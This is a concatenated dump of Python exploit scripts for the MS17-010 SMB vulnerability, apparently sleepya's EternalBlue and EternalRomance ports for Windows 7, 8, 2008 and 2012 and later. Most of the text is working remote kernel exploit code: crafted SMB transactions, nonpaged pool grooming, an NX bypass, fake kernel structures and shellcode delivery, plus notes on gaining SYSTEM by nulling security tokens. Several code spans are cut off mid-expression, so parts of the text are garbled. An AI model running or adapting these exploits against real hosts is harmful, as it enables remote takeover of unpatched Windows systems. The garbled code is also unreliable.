need to massage target nonpaged pool. 35 | - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) 36 | - See the code and comment for exploit detail. 37 | 38 | 39 | Disable NX method: 40 | - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference) 41 | - The exploit is also the same but we need to trigger bug twice 42 | - First trigger, set MDL.MappedSystemVa to target pte address 43 | - Write '\x00' to disable the NX flag 44 | - Second trigger, do the same as Windows 7 exploit 45 | - From my test, if exploit disable NX successfully, I always get code execution 46 | ''' 47 | 48 | # if anonymous can access any share folder, 'IPC$' is always accessible. 49 | # authenticated user is always able to access 'IPC$'. 50 | # Windows 2012 does not allow anonymous to login if no share is accessible. 51 | USERNAME='' 52 | PASSWORD='' 53 | 54 | # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 55 | NTFEA_SIZE = 0x9000 56 | 57 | ntfea9000 = (pack('> 12) 150 | fakeSrvNetBufferX64Nx = '\x00'*16 151 | fakeSrvNetBufferX64Nx += pack(' SrvNetCommonReceiveHandler() -> call fn_ptr 206 | fake_recv_struct = ('\x00'*16)*5 207 | fake_recv_struct += pack('= 0xffff: 255 | flags2 &= ~smb.SMB.FLAGS2_UNICODE 256 | reqSize = size // 2 257 | else: 258 | flags2 |= smb.SMB.FLAGS2_UNICODE 259 | reqSize = size 260 | conn.set_flags(flags2=flags2) 261 | 262 | pkt = smb.NewSMBPacket() 263 | 264 | sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 265 | sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() 266 | 267 | sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size 268 | sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value 269 | sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero 270 | sessionSetup['Parameters']['SessionKey'] = 0 271 | sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session 272 | sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS 273 | 274 | sessionSetup['Data'] = pack(' 0: 345 | pad2Len = (4 - fixedOffset % 4) % 4 346 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 347 | else: 348 | transCommand['Data']['Pad2'] = '' 349 | pad2Len = 0 350 | 351 | transCommand['Parameters']['DataCount'] = len(data) 352 | transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len 353 | transCommand['Parameters']['DataDisplacement'] = displacement 354 | 355 | transCommand['Data']['Trans_Parameters'] = '' 356 | transCommand['Data']['Trans_Data'] = data 357 | pkt.addCommand(transCommand) 358 | 359 | conn.sendSMB(pkt) 360 | 361 | 362 | def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): 363 | pkt = smb.NewSMBPacket() 364 | pkt['Tid'] = tid 365 | 366 | command = pack('65535 bytes to trigger the bug. 369 | transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) 370 | transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() 371 | transCommand['Parameters']['MaxSetupCount'] = 1 372 | transCommand['Parameters']['MaxParameterCount'] = len(param) 373 | transCommand['Parameters']['MaxDataCount'] = 0 374 | transCommand['Data'] = smb.SMBTransaction2_Data() 375 | 376 | transCommand['Parameters']['Setup'] = command 377 | transCommand['Parameters']['TotalParameterCount'] = len(param) 378 | transCommand['Parameters']['TotalDataCount'] = len(data) 379 | 380 | fixedOffset = 32+3+38 + len(command) 381 | if len(param) > 0: 382 | padLen = (4 - fixedOffset % 4 ) % 4 383 | padBytes = '\xFF' * padLen 384 | transCommand['Data']['Pad1'] = padBytes 385 | else: 386 | transCommand['Data']['Pad1'] = '' 387 | padLen = 0 388 | 389 | transCommand['Parameters']['ParameterCount'] = len(param) 390 | transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen 391 | 392 | if len(data) > 0: 393 | pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 394 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 395 | else: 396 | transCommand['Data']['Pad2'] = '' 397 | pad2Len = 0 398 | 399 | transCommand['Parameters']['DataCount'] = firstDataFragmentSize 400 | transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len 401 | 402 | transCommand['Data']['Trans_Parameters'] = param 403 | transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] 404 | pkt.addCommand(transCommand) 405 | 406 | conn.sendSMB(pkt) 407 | recvPkt = conn.recvSMB() # must be success 408 | if recvPkt.getNTStatus() == 0: 409 | print('got good NT Trans response') 410 | else: 411 | print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus())) 412 | sys.exit(1) 413 | 414 | # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data 415 | i = firstDataFragmentSize 416 | while i < len(data): 417 | sendSize = min(4096, len(data) - i) 418 | if len(data) - i <= 4096: 419 | if not sendLastChunk: 420 | break 421 | send_trans2_second(conn, tid, data[i:i+sendSize], i) 422 | i += sendSize 423 | 424 | if sendLastChunk: 425 | conn.recvSMB() 426 | return i 427 | 428 | 429 | # connect to target and send a large nbss size with data 0x80 bytes 430 | # this method is for allocating big nonpaged pool on target 431 | def createConnectionWithBigSMBFirst80(target, for_nx=False): 432 | sk = socket.create_connection((target, 445)) 433 | pkt = '\x00' + '\x00' + pack('>H', 0x8100) 434 | # There is no need to be SMB2 because we want the target free the corrupted buffer. 435 | # Also this is invalid SMB2 message. 436 | # I believe NSA exploit use SMB2 for hiding alert from IDS 437 | #pkt += '\xfeSMB' # smb2 438 | # it can be anything even it is invalid 439 | pkt += 'BAAD' # can be any 440 | if for_nx: 441 | # MUST set no delay because 1 byte MUST be sent immediately 442 | sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) 443 | pkt += '\x00'*0x7b # another byte will be sent later to disabling NX 444 | else: 445 | pkt += '\x00'*0x7c 446 | sk.send(pkt) 447 | return sk 448 | 449 | 450 | def exploit(target, shellcode, numGroomConn): 451 | # force using smb.SMB for SMB1 452 | conn = smb.SMB(target, target) 453 | conn.login(USERNAME, PASSWORD) 454 | server_os = conn.get_server_os() 455 | print('Target OS: '+server_os) 456 | if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): 457 | print('This exploit does not support this target') 458 | sys.exit() 459 | 460 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 461 | 462 | # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. 463 | # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment 464 | progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) 465 | 466 | # Another TRANS2_OPEN2 (0) with special feaList for disabling NX 467 | nxconn = smb.SMB(target, target) 468 | nxconn.login(USERNAME, PASSWORD) 469 | nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 470 | nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) 471 | 472 | # create some big buffer at server 473 | # this buffer MUST NOT be big enough for overflown buffer 474 | allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010) 475 | 476 | # groom nonpaged pool 477 | # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one 478 | srvnetConn = [] 479 | for i in range(numGroomConn): 480 | sk = createConnectionWithBigSMBFirst80(target, for_nx=True) 481 | srvnetConn.append(sk) 482 | 483 | # create buffer size NTFEA_SIZE at server 484 | # this buffer will be replaced by overflown buffer 485 | holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10) 486 | # disconnect allocConn to free buffer 487 | # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer 488 | allocConn.get_socket().close() 489 | 490 | # hope one of srvnetConn is next to holeConn 491 | for i in range(5): 492 | sk = createConnectionWithBigSMBFirst80(target, for_nx=True) 493 | srvnetConn.append(sk) 494 | 495 | # remove holeConn to create hole for fea buffer 496 | holeConn.get_socket().close() 497 | 498 | # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header 499 | # first trigger, overwrite srvnet buffer struct for disabling NX 500 | send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) 501 | recvPkt = nxconn.recvSMB() 502 | retStatus = recvPkt.getNTStatus() 503 | if retStatus == 0xc000000d: 504 | print('good response status for nx: INVALID_PARAMETER') 505 | else: 506 | print('bad response status for nx: 0x{:08x}'.format(retStatus)) 507 | 508 | # one of srvnetConn struct header should be modified 509 | # send '\x00' to disable nx 510 | for sk in srvnetConn: 511 | sk.send('\x00') 512 | 513 | # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header 514 | # second trigger, place fake struct and shellcode 515 | send_trans2_second(conn, tid, feaList[progress:], progress) 516 | recvPkt = conn.recvSMB() 517 | retStatus = recvPkt.getNTStatus() 518 | if retStatus == 0xc000000d: 519 | print('good response status: INVALID_PARAMETER') 520 | else: 521 | print('bad response status: 0x{:08x}'.format(retStatus)) 522 | 523 | # one of srvnetConn struct header should be modified 524 | # a corrupted buffer will write recv data in designed memory address 525 | for sk in srvnetConn: 526 | sk.send(fake_recv_struct + shellcode) 527 | 528 | # execute shellcode 529 | for sk in srvnetConn: 530 | sk.close() 531 | 532 | # nicely close connection (no need for exploit) 533 | nxconn.disconnect_tree(tid) 534 | nxconn.logoff() 535 | nxconn.get_socket().close() 536 | conn.disconnect_tree(tid) 537 | conn.logoff() 538 | conn.get_socket().close() 539 | 540 | 541 | if len(sys.argv) < 3: 542 | print("{} [numGroomConn]".format(sys.argv[0])) 543 | sys.exit(1) 544 | 545 | TARGET=sys.argv[1] 546 | numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) 547 | 548 | fp = open(sys.argv[2], 'rb') 549 | sc = fp.read() 550 | fp.close() 551 | 552 | if len(sc) > 0xe80: 553 | print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80)) 554 | sys.exit() 555 | 556 | # Now, shellcode is known. create a feaList 557 | feaList = createFeaList(len(sc)) 558 | 559 | print('shellcode size: {:d}'.format(len(sc))) 560 | print('numGroomConn: {:d}'.format(numGroomConn)) 561 | 562 | exploit(TARGET, sc, numGroomConn) 563 | print('done') 564 | -------------------------------------------------------------------------------- /eternalblue_exploit7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb 3 | from struct import pack 4 | import sys 5 | import socket 6 | 7 | ''' 8 | EternalBlue exploit for Windows 7/2008 by sleepya 9 | The exploit might FAIL and CRASH a target system (depended on what is overwritten) 10 | 11 | Tested on: 12 | - Windows 7 SP1 x64 13 | - Windows 2008 R2 SP1 x64 14 | - Windows 7 SP1 x86 15 | - Windows 2008 SP1 x86 16 | 17 | Reference: 18 | - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ 19 | 20 | 21 | Bug detail: 22 | - For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ 23 | - The exploit also use other 2 bugs (see details in BUG.txt) 24 | - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug) 25 | - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole) 26 | ###### 27 | 28 | 29 | Exploit info: 30 | - I do not reverse engineer any x86 binary so I do not know about exact offset. 31 | - The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. 32 | This memory page is executable on Windows 7 and Wndows 2008. 33 | - The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. 34 | - The exploit trick is same as NSA exploit 35 | - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. 36 | - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) 37 | - See the code and comment for exploit detail. 38 | 39 | 40 | srvnet buffer info: 41 | - srvnet buffer contains a pointer to another struct and MDL about received buffer 42 | - Controlling MDL values results in arbitrary write 43 | - Controlling pointer to fake struct results in code execution because there is pointer to function 44 | - A srvnet buffer is created after target receiving first 4 bytes 45 | - First 4 bytes contains length of SMB message 46 | - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. 47 | - After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message 48 | - SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() 49 | - SrvNetCommonReceiveHandler() passes SMB message to SMB handler 50 | - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode 51 | - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called 52 | - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. 53 | - Memory leak is ok to be ignored 54 | 55 | 56 | Shellcode note: 57 | - Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL 58 | - Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL) 59 | - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082) 60 | - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model 61 | - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to 62 | get call because it is called on other processors 63 | - Shellcode should be aware of double overwriting system call target address when using hijacking system call method 64 | - Then, using APC in Process context to get code execution in userland (ring 3) 65 | ''' 66 | 67 | # Note: see how to craft FEALIST in eternalblue_poc.py 68 | 69 | # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) 70 | # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time 71 | # the size 0x11000 is used in nsa exploit. this size is more reliable. 72 | NTFEA_SIZE = 0x11000 73 | # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page 74 | 75 | ntfea10000 = pack('=0x10000 to trigger bug (but must be less than data size) 186 | feaList += ntfea[NTFEA_SIZE] 187 | # Note: 188 | # - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively 189 | # - x64: below fea will be copy to offset 0x11000 of overflow buffer 190 | # - x86: below fea will be copy to offset 0x10ff8 of overflow buffer 191 | feaList += pack(' SrvNetCommonReceiveHandler() -> call fn_ptr 205 | fake_recv_struct = pack('= 0xffff: 274 | flags2 &= ~smb.SMB.FLAGS2_UNICODE 275 | reqSize = size // 2 276 | else: 277 | flags2 |= smb.SMB.FLAGS2_UNICODE 278 | reqSize = size 279 | conn.set_flags(flags2=flags2) 280 | 281 | pkt = smb.NewSMBPacket() 282 | 283 | sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 284 | sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() 285 | 286 | sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size 287 | sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value 288 | sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero 289 | sessionSetup['Parameters']['SessionKey'] = 0 290 | sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session 291 | # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session 292 | sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags 293 | 294 | sessionSetup['Data'] = pack(' 0: 341 | pad2Len = (4 - fixedOffset % 4) % 4 342 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 343 | else: 344 | transCommand['Data']['Pad2'] = '' 345 | pad2Len = 0 346 | 347 | transCommand['Parameters']['DataCount'] = len(data) 348 | transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len 349 | transCommand['Parameters']['DataDisplacement'] = displacement 350 | 351 | transCommand['Data']['Trans_Parameters'] = '' 352 | transCommand['Data']['Trans_Data'] = data 353 | pkt.addCommand(transCommand) 354 | 355 | conn.sendSMB(pkt) 356 | 357 | 358 | def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): 359 | # Here is another bug in MS17-010. 360 | # To call transaction subcommand, normally a client need to use correct SMB commands as documented in 361 | # https://msdn.microsoft.com/en-us/library/ee441514.aspx 362 | # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client 363 | # can use *_SECONDARY command to send transaction message. When sending a transaction completely with 364 | # *_SECONDARY command, a server uses the last command that complete the transaction. 365 | # For example: 366 | # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. 367 | # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. 368 | # 369 | # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. 370 | # For example: 371 | # - a client start transaction with SMB_COM_NT_TRANSACT command 372 | # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY 373 | # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY 374 | # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) 375 | 376 | # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction 377 | # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT 378 | # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount 379 | # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). 380 | # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction) 381 | 382 | pkt = smb.NewSMBPacket() 383 | pkt['Tid'] = tid 384 | 385 | command = pack('65535 bytes to trigger the bug. 388 | transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) 389 | transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() 390 | transCommand['Parameters']['MaxSetupCount'] = 1 391 | transCommand['Parameters']['MaxParameterCount'] = len(param) 392 | transCommand['Parameters']['MaxDataCount'] = 0 393 | transCommand['Data'] = smb.SMBTransaction2_Data() 394 | 395 | transCommand['Parameters']['Setup'] = command 396 | transCommand['Parameters']['TotalParameterCount'] = len(param) 397 | transCommand['Parameters']['TotalDataCount'] = len(data) 398 | 399 | fixedOffset = 32+3+38 + len(command) 400 | if len(param) > 0: 401 | padLen = (4 - fixedOffset % 4 ) % 4 402 | padBytes = '\xFF' * padLen 403 | transCommand['Data']['Pad1'] = padBytes 404 | else: 405 | transCommand['Data']['Pad1'] = '' 406 | padLen = 0 407 | 408 | transCommand['Parameters']['ParameterCount'] = len(param) 409 | transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen 410 | 411 | if len(data) > 0: 412 | pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 413 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 414 | else: 415 | transCommand['Data']['Pad2'] = '' 416 | pad2Len = 0 417 | 418 | transCommand['Parameters']['DataCount'] = firstDataFragmentSize 419 | transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len 420 | 421 | transCommand['Data']['Trans_Parameters'] = param 422 | transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] 423 | pkt.addCommand(transCommand) 424 | 425 | conn.sendSMB(pkt) 426 | conn.recvSMB() # must be success 427 | 428 | # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data 429 | i = firstDataFragmentSize 430 | while i < len(data): 431 | # limit data to 4096 bytes per SMB message because this size can be used for all Windows version 432 | sendSize = min(4096, len(data) - i) 433 | if len(data) - i <= 4096: 434 | if not sendLastChunk: 435 | break 436 | send_trans2_second(conn, tid, data[i:i+sendSize], i) 437 | i += sendSize 438 | 439 | if sendLastChunk: 440 | conn.recvSMB() 441 | return i 442 | 443 | 444 | # connect to target and send a large nbss size with data 0x80 bytes 445 | # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target 446 | # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) 447 | def createConnectionWithBigSMBFirst80(target): 448 | # https://msdn.microsoft.com/en-us/library/cc246496.aspx 449 | # Above link is about SMB2, but the important here is first 4 bytes. 450 | # If using wireshark, you will see the StreamProtocolLength is NBSS length. 451 | # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. 452 | # 453 | # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. 454 | # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. 455 | # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. 456 | sk = socket.create_connection((target, 445)) 457 | # For this exploit, use size is 0x11000 458 | pkt = '\x00' + '\x00' + pack('>H', 0xfff7) 459 | # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. 460 | # Also this is invalid SMB2 message. 461 | # I believe NSA exploit use SMB2 for hiding alert from IDS 462 | #pkt += '\xfeSMB' # smb2 463 | # it can be anything even it is invalid 464 | pkt += 'BAAD' # can be any 465 | pkt += '\x00'*0x7c 466 | sk.send(pkt) 467 | return sk 468 | 469 | 470 | def exploit(target, shellcode, numGroomConn): 471 | # force using smb.SMB for SMB1 472 | conn = smb.SMB(target, target) 473 | 474 | # can use conn.login() for ntlmv2 475 | conn.login_standard('', '') 476 | server_os = conn.get_server_os() 477 | print('Target OS: '+server_os) 478 | if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os)): 479 | print('This exploit does not support this target') 480 | sys.exit() 481 | 482 | 483 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 484 | 485 | # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. 486 | # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment 487 | progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) 488 | # we have to know what size of NtFeaList will be created when last fragment is sent 489 | 490 | # make sure server recv all payload before starting allocate big NonPaged 491 | #sendEcho(conn, tid, 'a'*12) 492 | 493 | # create buffer size NTFEA_SIZE-0x1000 at server 494 | # this buffer MUST NOT be big enough for overflown buffer 495 | allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) 496 | 497 | # groom nonpaged pool 498 | # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one 499 | srvnetConn = [] 500 | for i in range(numGroomConn): 501 | sk = createConnectionWithBigSMBFirst80(target) 502 | srvnetConn.append(sk) 503 | 504 | # create buffer size NTFEA_SIZE at server 505 | # this buffer will be replaced by overflown buffer 506 | holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) 507 | # disconnect allocConn to free buffer 508 | # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer 509 | allocConn.get_socket().close() 510 | 511 | # hope one of srvnetConn is next to holeConn 512 | for i in range(5): 513 | sk = createConnectionWithBigSMBFirst80(target) 514 | srvnetConn.append(sk) 515 | 516 | # send echo again, all new 5 srvnet buffers should be created 517 | #sendEcho(conn, tid, 'a'*12) 518 | 519 | # remove holeConn to create hole for fea buffer 520 | holeConn.get_socket().close() 521 | 522 | # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header 523 | send_trans2_second(conn, tid, feaList[progress:], progress) 524 | recvPkt = conn.recvSMB() 525 | retStatus = recvPkt.getNTStatus() 526 | # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag 527 | if retStatus == 0xc000000d: 528 | print('good response status: INVALID_PARAMETER') 529 | else: 530 | print('bad response status: 0x{:08x}'.format(retStatus)) 531 | 532 | 533 | # one of srvnetConn struct header should be modified 534 | # a corrupted buffer will write recv data in designed memory address 535 | for sk in srvnetConn: 536 | sk.send(fake_recv_struct + shellcode) 537 | 538 | # execute shellcode by closing srvnet connection 539 | for sk in srvnetConn: 540 | sk.close() 541 | 542 | # nicely close connection (no need for exploit) 543 | conn.disconnect_tree(tid) 544 | conn.logoff() 545 | conn.get_socket().close() 546 | 547 | 548 | if len(sys.argv) < 3: 549 | print("{} [numGroomConn]".format(sys.argv[0])) 550 | sys.exit(1) 551 | 552 | TARGET=sys.argv[1] 553 | numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) 554 | 555 | fp = open(sys.argv[2], 'rb') 556 | sc = fp.read() 557 | fp.close() 558 | 559 | print('shellcode size: {:d}'.format(len(sc))) 560 | print('numGroomConn: {:d}'.format(numGroomConn)) 561 | 562 | exploit(TARGET, sc, numGroomConn) 563 | print('done') 564 | -------------------------------------------------------------------------------- /eternalromance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb, smbconnection 3 | from mysmb import MYSMB 4 | from struct import pack, unpack, unpack_from 5 | import sys 6 | import socket 7 | import time 8 | 9 | ''' 10 | MS17-010 exploit for Windows XP and later by sleepya 11 | 12 | Note: 13 | - The exploit should never crash a target (chance should be nearly 0%) 14 | - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed 15 | 16 | Tested on: 17 | - Windows 2016 x64 18 | - Windows 10 x64 19 | - Windows 10 x86 20 | - Windows 2012 R2 x64 21 | - Windows 2008 R2 SP1 x64 22 | - Windows 2008 SP1 x64 23 | - Windows 2008 SP1 x86 24 | - Windows 8.1 x64 25 | - Windows 8.1 x86 26 | - Windows 7 SP1 x86 27 | - Windows 7 SP1 x64 28 | - Windows 2003 SP2 x86 29 | - Windows 2003 R2 SP2 x64 30 | - Windows XP SP2 x64 31 | - Windows XP SP3 x86 32 | - Windows 2000 SP4 x86 33 | 34 | ''' 35 | ''' 36 | A transaction with empty setup: 37 | - it is allocated from paged pool (same as other transaction types) on Windows 7 and later 38 | - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier 39 | - no lookaside or caching method for allocating it 40 | 41 | Note: method name is from NSA eternalromance 42 | 43 | For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit 44 | for freed pool from large pool). Additionally, the exploit does the information leak to check transactions 45 | alignment before doing OOB write. So this exploit should never crash a target. 46 | 47 | For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size 48 | smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But 49 | a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). 50 | Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment 51 | in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback 52 | of this method is we cannot do information leak to verify transactions alignment before OOB write. 53 | So this exploit has a chance to crash target same as NSA eternalromance on Windows Vista and earlier. 54 | ''' 55 | 56 | ''' 57 | Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() 58 | win7 x64 59 | struct SrvSecContext { 60 | DWORD xx1; // second WORD is size 61 | DWORD refCnt; 62 | PACCESS_TOKEN Token; // 0x08 63 | DWORD xx2; 64 | BOOLEAN CopyOnOpen; // 0x14 65 | BOOLEAN EffectiveOnly; 66 | WORD xx3; 67 | DWORD ImpersonationLevel; // 0x18 68 | DWORD xx4; 69 | BOOLEAN UsePsImpersonateClient; // 0x20 70 | } 71 | win2012 x64 72 | struct SrvSecContext { 73 | DWORD xx1; // second WORD is size 74 | DWORD refCnt; 75 | QWORD xx2; 76 | QWORD xx3; 77 | PACCESS_TOKEN Token; // 0x18 78 | DWORD xx4; 79 | BOOLEAN CopyOnOpen; // 0x24 80 | BOOLEAN EffectiveOnly; 81 | WORD xx3; 82 | DWORD ImpersonationLevel; // 0x28 83 | DWORD xx4; 84 | BOOLEAN UsePsImpersonateClient; // 0x30 85 | } 86 | 87 | SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. 88 | It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 89 | From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, 90 | PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns 91 | STATUS_SUCCESS when Token is NULL. 92 | If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) 93 | to do all SMB operations. 94 | Note: fake Token might be possible, but NULL token is much easier. 95 | ''' 96 | ########################## 97 | # info for modify session security context 98 | ########################### 99 | WIN7_64_SESSION_INFO = { 100 | 'SESSION_SECCTX_OFFSET': 0xa0, 101 | 'SESSION_ISNULL_OFFSET': 0xba, 102 | 'FAKE_SECCTX': pack(' \"\"".format(sys.argv[0])) 956 | sys.exit(1) 957 | 958 | 959 | target = sys.argv[1] 960 | username = sys.argv[2] 961 | password = sys.argv[3] 962 | cmd = sys.argv[4] 963 | pipe_name = None 964 | 965 | exploit(target, pipe_name, username, password, cmd) 966 | print('Done') 967 | --------------------------------------------------------------------------------